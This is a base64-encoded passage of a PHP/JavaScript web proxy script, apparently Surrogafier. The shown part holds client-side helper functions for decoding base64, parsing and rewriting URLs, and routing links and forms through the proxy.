bicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB0aGlzLmdldF9wcm90bygpKyI6Ly8iKw0KCQkgICAgICAgKHRoaXMuZ2V0X3VzZXJwYXNzKCk9PSIiPyIiOnRoaXMuZ2V0X3VzZXJwYXNzKCkrIkAiKSsNCgkJICAgICAgIHRoaXMuZ2V0X3NlcnZlcm5hbWUoKSsNCgkJICAgICAgIChwYXJzZUludCh0aGlzLmdldF9wb3J0dmFsKCkpPT04MD8iIjoiOiIrcGFyc2VJbnQodGhpcy5nZXRfcG9ydHZhbCgpKSkrDQoJCSAgICAgICB0aGlzLmdldF9wYXRoKCkrdGhpcy5nZXRfZmlsZSgpKw0KCQkgICAgICAgKHRoaXMuZ2V0X3F1ZXJ5KCk9PSIiPyIiOiI/Iit0aGlzLmdldF9xdWVyeSgpKSsNCgkJICAgICAgICh0aGlzLmdldF9sYWJlbCgpPT0iIj8iIjoiIyIrdGhpcy5nZXRfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCXRoaXMuc3Vycm9nYWZ5PWZ1bmN0aW9uKCl7DQoJCXZhciB1cmw9dGhpcy5nZXRfdXJsKCk7DQoJCWlmKHRoaXMubG9ja2VkIHx8IHRoaXMuZ2V0X3Byb3RvKCkrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLmdldF91c2VycGFzcygpKSt0aGlzLmdldF9zZXJ2ZXJuYW1lKCkrdGhpcy5nZXRfcGF0aCgpK3RoaXMuZ2V0X2ZpbGUoKT09dGhpcy5USElTX1NDUklQVCkgcmV0dXJuIHVybDsNCgkJdmFyIGxhYmVsPXRoaXMuZ2V0X2xhYmVsKCk7DQoJCXRoaXMuc2V0X2xhYmVsKCk7DQoJCWlmKHRoaXMuRU5DUllQVF9VUkxTICYmICF0aGlzLmxvY2tlZCkgdXJsPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGUucHJveGVuYyh1cmwpOw0KCQkvL3VybD10aGlzLlRISVNfU0NSSVBUKyI/PSIrKCF0aGlzLkVOQ1JZUFRfVVJMUz9lc2NhcGUodXJsKTp1cmwpOyAvLyB1cmxlbmNvZGUoKWQNCgkJdXJsPXRoaXMuVEhJU19TQ1JJUFQrIj89Iit1cmw7IC8vIHVybGVuY29kZSgpZA0KCQl0aGlzLnNldF9sYWJlbChsYWJlbCk7DQoJCXJldHVybiB1cmw7DQoJfQ0KDQoJaWYodXJsLmxlbmd0aD48P3BocCBlY2hvKE1BWElNVU1fVVJMX0xFTkdUSCk/Pil7DQoJCS8vYWxlcnQodGhpcy51cmwpOyAvLyBERUJVRw0KCQkvL2FsZXJ0KHRoaXMudXJsLmxlbmd0aCk7IC8vIERFQlVHDQoJCXRoaXMudXJsPSIiOw0KCX0NCgllbHNlew0KCQkvL3RoaXMudXJsPXByZWdfcmVwbGFjZSgiLyYjKFswLTldKyk7L2UiLCJjaHIoXFwxKSIgLy8gcGFyc2UgbGlrZSBQSFAgZG9lcyBmb3IgJiNudW07IEhUTUwgZW50aXRpZXM/IC8vIFRPRE8/DQoJCXRoaXMudXJsPXRoaXMudHJpbSh1cmwucmVwbGFjZSgiJmFtcDsiLCImIikucmVwbGFjZSgiXHIiLCIiKS5yZXBsYWNlKCJcbiIsIiIpKTsNCgl9DQoNCgl0aGlzLnRvcHVybD10b3B1cmw7DQoJdGhpcy5sb2NrZWQ9dXJsLm1hdGNoKDw/cGhwIGVjaG8oQVVSTF9MT0NLX1JFR0VYUCk7ID8+KTsgLy8qDQoNCglpZighdGhpcy5sb2NrZWQpew0KCQl2YXIgdXJsd2FzdmFsaWQ9dHJ1ZTsNCgkJaWYoIXRoaXMudXJsLm1hdGNoKHRoaXMuVVJMUkVHKSl7DQoJCQl1cmx3YXN2YWxpZD1mYWxzZTsNCgkJCWlmKHRoaXMudG9wdXJsPT11bmRlZmluZWQpIHRoaXMudXJsPSJodHRwOi8vIisoKHRoaXMudXJsLmNoYXJBdCgwKT09IjoiIHx8IHRoaXMudXJsLmNoYXJBdCgwKT09Ii8iKT90aGlzLnVybC5zdWJzdHJpbmcoMSk6dGhpcy51cmwpKyh0aGlzLnVybC5pbmRleE9mKCIvIikhPS0xPyIiOiIvIik7DQoJCQllbHNlew0KCQkJCXZhciBuZXd1cmw9dGhpcy50b3B1cmwuZ2V0X3Byb3RvKCkrIjovLyIrdGhpcy5nZXRfZmllbGRyZXEoMix0aGlzLnRvcHVybC5nZXRfdXNlcnBhc3MoKSkrdGhpcy50b3B1cmwuZ2V0X3NlcnZlcm5hbWUoKSsoKHRoaXMudG9wdXJsLmdldF9wb3J0dmFsKCkhPTgwICYmICh0aGlzLnRvcHVybC5nZXRfcHJvdG8oKT09Imh0dHBzIj90aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpIT00NDM6dHJ1ZSkpPyI6Iit0aGlzLnRvcHVybC5nZXRfcG9ydHZhbCgpOiIiKTsNCgkJCQlpZih0aGlzLnVybC5zdWJzdHJpbmcoMCwxKSE9Ii8iKSBuZXd1cmwrPXRoaXMudG9wdXJsLmdldF9wYXRoKCk7DQoJCQkJdGhpcy51cmw9bmV3dXJsK3RoaXMudXJsOw0KCQkJfQ0KCQl9DQoNCgkJdGhpcy5zZXRfcHJvdG8oKHVybHdhc3ZhbGlkIHx8IHRoaXMudG9wdXJsPT11bmRlZmluZWQ/dGhpcy51cmwucmVwbGFjZSgvXihbXjpdKykuKiQvLCJcJDEiKTp0aGlzLnRvcHVybC5nZXRfcHJvdG8oKSkpOw0KCQl0aGlzLnNldF91c2VycGFzcyh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDIiKSk7DQoJCXRoaXMuc2V0X3NlcnZlcm5hbWUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQzIikpOw0KCQl0aGlzLnNldF9wb3J0dmFsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkNCIpKTsNCgkJdGhpcy5zZXRfcGF0aCh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDUiKSk7DQoJCXRoaXMuc2V0X2ZpbGUodGhpcy51cmwucmVwbGFjZSh0aGlzLlVSTFJFRywiXCQ2IikpOw0KCQl0aGlzLnNldF9xdWVyeSh0aGlzLnVybC5yZXBsYWNlKHRoaXMuVVJMUkVHLCJcJDciKSk7DQoJCXRoaXMuc2V0X2xhYmVsKHRoaXMudXJsLnJlcGxhY2UodGhpcy5VUkxSRUcsIlwkOCIpKTsNCgl9DQoNCgkvL2lmKCF0aGlzLmxvY2tlZCAmJiAhdGhpcy51cmwubWF0Y2godGhpcy5VUkxSRUcpKSBoYXZvayg3LHRoaXMudXJsKTsgLy8qDQp9LA0KDQpzdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwsYWRkcHJveHkpew0KCXVybD11cmwudG9TdHJpbmcoKTsNCglpZighdXJsLnN1YnN0cmluZykgcmV0dXJuOw0KCWlmKGFkZHByb3h5PT11bmRlZmluZWQpIGFkZHByb3h5PXRydWU7DQoJdmFyIHVybHF1b3RlPSIiOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpew0KCQl1cmxxdW90ZT11cmwuc3Vic3RyaW5nKDAsMSk7DQoJCXVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCgl9DQoJaWYodG9wdXJsPT11bmRlZmluZWQpIHRvcHVybD10aGlzLmN1cnJfdXJsb2JqOw0KCXZhciB1cmxvYmo9bmV3IHRoaXMuYXVybCh1cmwsdG9wdXJsKTsNCgl2YXIgbmV3X3VybD0oYWRkcHJveHk/dXJsb2JqLnN1cnJvZ2FmeSgpOnVybG9iai5nZXRfdXJsKCkpOw0KCWlmKHVybHF1b3RlIT0iIikgbmV3X3VybD11cmxxdW90ZStuZXdfdXJsK3VybHF1b3RlOw0KCXJldHVybiBuZXdfdXJsOw0KfSwNCg0Kc3Vycm9nYWZ5X3VybF90b29iajpmdW5jdGlvbih1cmwsdG9wdXJsLGFkZHByb3h5KXsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYoIXVybC5zdWJzdHJpbmcpIHJldHVybjsNCglpZihhZGRwcm94eT09dW5kZWZpbmVkKSBhZGRwcm94eT10cnVlOw0KCWlmKCh1cmwuc3Vic3RyaW5nKDAsMSk9PSJcIiIgfHwgdXJsLnN1YnN0cmluZygwLDEpPT0iJyIpICYmIHVybC5zdWJzdHJpbmcoMCwxKT09dXJsLnN1YnN0cmluZyh1cmwubGVuZ3RoLTEsdXJsLmxlbmd0aCkpIHVybD11cmwuc3Vic3RyaW5nKDEsdXJsLmxlbmd0aC0xKTsNCglpZih0b3B1cmw9PXVuZGVmaW5lZCkgdG9wdXJsPXRoaXMuY3Vycl91cmxvYmo7DQoJcmV0dXJuIG5ldyB0aGlzLmF1cmwodXJsLHRvcHVybCk7DQp9LA0KDQpkZV9zdXJyb2dhZnlfdXJsOmZ1bmN0aW9uKHVybCl7DQoJaWYodXJsPT11bmRlZmluZWQpIHJldHVybiAiIjsNCgl1cmw9dXJsLnRvU3RyaW5nKCk7DQoJaWYodXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/PikgfHwgIXVybC5tYXRjaCg8P3BocCBlY2hvKEFVUkxfTE9DS19SRUdFWFApOyA/PikpIHJldHVybiB1cmw7DQoJcmV0dXJuIHRoaXMucGUucHJveGRlYyhkZWNvZGVVUklDb21wb25lbnQodXJsLnN1YnN0cmluZyh1cmwuaW5kZXhPZignPycpKzEpLnJlcGxhY2UoPD9waHAgZWNobyhQQUdFVFlQRV9SRUdFWFApOyA/PiwiXCQyIikpKTsgLy8gdXJsZGVjb2RlKCkNCn0sDQoNCmFkZF9xdWVyeXN0dWZmOmZ1bmN0aW9uKHVybCxxdWVyeXN0dWZmKXsNCgl2YXIgcG9zPXVybC5pbmRleE9mKCc/Jyk7DQoJcmV0dXJuIHVybC5zdWJzdHIoMCxwb3MrMSkrcXVlcnlzdHVmZit1cmwuc3Vic3RyKHBvcysxLHVybC5sZW5ndGgtcG9zKTsNCn0sDQoNCnByZWdfbWF0Y2hfYWxsOmZ1bmN0aW9uKHJlZ2V4cHN0cixzdHJpbmcpew0KCXZhciBtYXRjaGFycj1uZXcgQXJyYXkoKTsNCgl2YXIgcmVnZXhwPW5ldyBSZWdFeHAocmVnZXhwc3RyKTsNCgl2YXIgcmVzdWx0Ow0KCXdoaWxlKHRydWUpew0KCQlyZXN1bHQ9cmVnZXhwLmV4ZWMoc3RyaW5nKTsNCgkJaWYocmVzdWx0IT1udWxsKSBtYXRjaGFyci5wdXNoKHJlc3VsdCk7DQoJCWVsc2UgYnJlYWs7DQoJfQ0KCXJldHVybiBtYXRjaGFycjsNCn0sDQoNCmZyYW1pZnlfdXJsOmZ1bmN0aW9uKHVybCxmcmFtZV90eXBlKXsNCglpZigoZnJhbWVfdHlwZSE9PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVfVE9QKTsgPz4gfHwgIXRoaXMuVVJMX0ZPUk0pICYmIChmcmFtZV90eXBlIT09PD9waHAgZWNobyhQQUdFVFlQRV9GUkFNRURfUEFHRSk7ID8+ICYmICF0aGlzLlBBR0VfRlJBTUVEKSkgcmV0dXJuIHVybDsNCgl2YXIgdXJscXVvdGU9IiI7DQoJaWYoKHVybC5zdWJzdHJpbmcoMCwxKT09IlwiIiB8fCB1cmwuc3Vic3RyaW5nKDAsMSk9PSInIikgJiYgdXJsLnN1YnN0cmluZygwLDEpPT11cmwuc3Vic3RyaW5nKHVybC5sZW5ndGgtMSx1cmwubGVuZ3RoKSl7DQoJCXVybHF1b3RlPXVybC5zdWJzdHJpbmcoMCwxKTsNCgkJdXJsPXVybC5zdWJzdHJpbmcoMSx1cmwubGVuZ3RoLTEpOw0KCX0NCglpZighdXJsLm1hdGNoKDw/cGhwIGVjaG8oRlJBTUVfTE9DS19SRUdFWFApOyA/Pikpew0KCQl2YXIgcXVlcnk7DQoJCWlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FX1RPUCk7ID8+ICYmIHRoaXMuVVJMX0ZPUk0pIHF1ZXJ5PScmPSc7DQoJCWVsc2UgaWYoZnJhbWVfdHlwZT09PTw/cGhwIGVjaG8oUEFHRVRZUEVfRlJBTUVEX0NISUxEKTsgPz4pIHF1ZXJ5PScuJj0nOw0KCQllbHNlIGlmKGZyYW1lX3R5cGU9PT08P3BocCBlY2hvKFBBR0VUWVBFX0ZSQU1FRF9QQUdFKTsgPz4gfHwgdGhpcy5QQUdFX0ZSQU1FRCkgcXVlcnk9J18mPSc7DQoJCWVsc2UgcXVlcnk9Jyc7DQoJCXVybD11cmwucmVwbGFjZSgvXihbXlw/XSopW1w/XT88P3BocCBlY2hvKFBBR0VUWVBFX01JTklSRUdFWFApOyA/PihbXiNdKj9bI10/Lio/KSQvLCdcJDE/PScrcXVlcnkrJ1wkMycpOw0KCX0NCglpZih1cmxxdW90ZSE9IiIpIHVybD11cmxxdW90ZSt1cmwrdXJscXVvdGU7DQoJcmV0dXJuIHVybDsNCn0sDQoNCnBhcnNlX2h0bWw6ZnVuY3Rpb24ocmVnZXhwLHBhcnRvcGFyc2UsaHRtbCxhZGRwcm94eSxmcmFtaWZ5KXsNCgl2YXIgbWF0Y2gsYmVnaW4sZW5kLG51cmw7DQoJaWYoaHRtbC5tYXRjaChyZWdleHApKXsNCgkJdmFyIG1hdGNoYXJyPXRoaXMucHJlZ19tYXRjaF9hbGwocmVnZXhwLGh0bWwpOw0KCQl2YXIgbmV3aHRtbD0iIjsNCgkJZm9yKHZhciBrZXkgaW4gbWF0Y2hhcnIpew0KCQkJLyptYXRjaD1tYXRjaGFycltpXTsNCgkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQluaHRtbD1tYXRjaFswXS5yZXBsYWNlKG1hdGNoW3BhcnRvcGFyc2VdLG51cmwpOw0KCQkJaHRtbD1odG1sLnJlcGxhY2UobWF0Y2hbMF0sbmh0bWwpOyovDQoJCQltYXRjaD1tYXRjaGFycltrZXldOw0KCQkJaWYobWF0Y2hbcGFydG9wYXJzZV0hPXVuZGVmaW5lZCl7DQoJCQkJYmVnaW49aHRtbC5pbmRleE9mKG1hdGNoW3BhcnRvcGFyc2VdKTsNCgkJCQllbmQ9YmVnaW4rbWF0Y2hbcGFydG9wYXJzZV0ubGVuZ3RoOw0KCQkJCW51cmw9dGhpcy5zdXJyb2dhZnlfdXJsKG1hdGNoW3BhcnRvcGFyc2VdLHVuZGVmaW5lZCxhZGRwcm94eSk7DQoJCQkJaWYoZnJhbWlmeSkgbnVybD10aGlzLmZyYW1pZnlfdXJsKG51cmwsZnJhbWlmeSk7DQoJCQkJbmV3aHRtbCs9aHRtbC5zdWJzdHJpbmcoMCxiZWdpbikrbnVybDsNCgkJCQlodG1sPWh0bWwuc3Vic3RyaW5nKGVuZCk7DQoJCQl9DQoJCX0NCgkJaHRtbD1uZXdodG1sK2h0bWw7DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KcGFyc2VfYWxsX2h0bWw6ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHNbMF09PW51bGwpIHJldHVybjsNCgl2YXIgaHRtbD1hcmd1bWVudHNbMF0udG9TdHJpbmcoKTsNCgl2YXIga2V5Ow0KCWZvcih2YXIga2V5IGluIHJlZ2V4cF9hcnJheXMpew0KCQlpZigoYXJndW1lbnRzLmxlbmd0aD4xICYmIGtleSE9YXJndW1lbnRzWzFdKSB8fCBrZXk9PSd0ZXh0L2phdmFzY3JpcHQnKSBjb250aW51ZTsNCgkJYXJyPXJlZ2V4cF9hcnJheXNba2V5XTsNCgkJZm9yKHZhciByZWdleHBfYXJyYXlrZXkgaW4gYXJyKXsNCgkJCXJlZ2V4cF9hcnJheT1hcnJbcmVnZXhwX2FycmF5a2V5XTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09dW5kZWZpbmVkKSBjb250aW51ZTsNCgkJCWlmKHJlZ2V4cF9hcnJheVswXT09MSkgaHRtbD1odG1sLnJlcGxhY2UocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSk7DQoJCQllbHNlIGlmKHJlZ2V4cF9hcnJheVswXT09Mil7DQoJCQkJYWRkcHJveHk9KHJlZ2V4cF9hcnJheS5sZW5ndGg+Mz9yZWdleHBfYXJyYXlbM106dHJ1ZSk7DQoJCQkJZnJhbWlmeT0ocmVnZXhwX2FycmF5Lmxlbmd0aD40P3JlZ2V4cF9hcnJheVs0XTpmYWxzZSk7DQoJCQkJaHRtbD10aGlzLnBhcnNlX2h0bWwocmVnZXhwX2FycmF5WzFdLHJlZ2V4cF9hcnJheVsyXSxodG1sLGFkZHByb3h5LGZyYW1pZnkpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiBodG1sOw0KfSwNCg0KZm9ybV9idXR0b246bnVsbCwNCmZvcm1fZW5jcnlwdDpmdW5jdGlvbihmb3JtKXsNCglpZihmb3JtLm1ldGhvZD09J3Bvc3QnKSByZXR1cm4gdHJ1ZTsNCgkvL2FjdGlvbj1mb3JtLjxwaHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZTsNCgl2YXIgYWN0aW9uPWZvcm0uZ2V0RWxlbWVudHNCeU5hbWUodGhpcy5DT09LX1BSRUYpWzBdLnZhbHVlOw0KCWZvcih2YXIgaT0xO2k8Zm9ybS5lbGVtZW50cy5sZW5ndGg7aSsrKXsNCgkJaWYoZm9ybS5lbGVtZW50c1tpXS5kaXNhYmxlZCB8fCBmb3JtLmVsZW1lbnRzW2ldLm5hbWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udmFsdWU9PScnIHx8IGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3Jlc2V0JykgY29udGludWU7DQoJCWlmKGZvcm0uZWxlbWVudHNbaV0udHlwZT09J3N1Ym1pdCcpew0KCQkJaWYoZm9ybS5lbGVtZW50c1tpXS5uYW1lIT10aGlzLmZvcm1fYnV0dG9uKSBjb250aW51ZTsNCgkJCXRoaXMuZm9ybV9idXR0b249bnVsbDsNCgkJfQ0KCQl2YXIgcHJlZjsNCgkJaWYoIWFjdGlvbi5tYXRjaCgvXD8vKSkgcHJlZj0iPyI7DQoJCWVsc2UgcHJlZj0iJiI7DQoJCWFjdGlvbis9cHJlZitmb3JtLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2Zvcm0uZWxlbWVudHNbaV0udmFsdWU7DQoJfQ0KCWxvY2F0aW9uLmh